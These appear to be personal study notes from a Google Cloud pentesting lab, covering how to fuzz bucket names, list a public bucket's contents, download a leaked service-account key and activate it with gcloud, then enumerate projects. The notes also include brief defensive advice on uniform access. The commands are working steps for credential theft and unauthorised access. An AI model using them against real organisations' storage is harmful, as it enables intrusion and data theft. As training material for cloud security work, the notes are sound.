Leveraging Exposed Resources

• ![[Attachments/Pasted image 20260305142426.png]]

Fuzzing storage

• ffuf -w wordlist.txt -u http://storage.googleapis.com/giganticretail-FUZZ -s

Exploring public bucket contents

• curl -s https://storage.googleapis.com/storage/v1/b/giganticretail-web/o | jq -r '.items[].name'
  • here we find a file named ai-innovation.json
  • these could be access keys for a service account
• wget https://storage.google.apis.com/giganticretail-web/temp/ai-innovation.json
• gcloud auth activate-service-account --key-file=ai-innovation.json
• gcloud auth list
  • confirm if the context is updated

Exposed Buckets

• even if a bucket has public assets like static web files, an admin might upload sensitive files for transfer by mistake
• someone can exfiltrate this info

Access Control

• ![[Attachments/Pasted image 20260305142751.png]]
• Uniform access is recommended

---

Getting Situational Awareness

• service account emails in GCP include the project id
  • ![[Attachments/Pasted image 20260305143606.png]]
• gcloud commands accept --project flag which allow users to specify or enumerate resources across identified project boundaries.
• ![[Attachments/Pasted image 20260305143554.png]]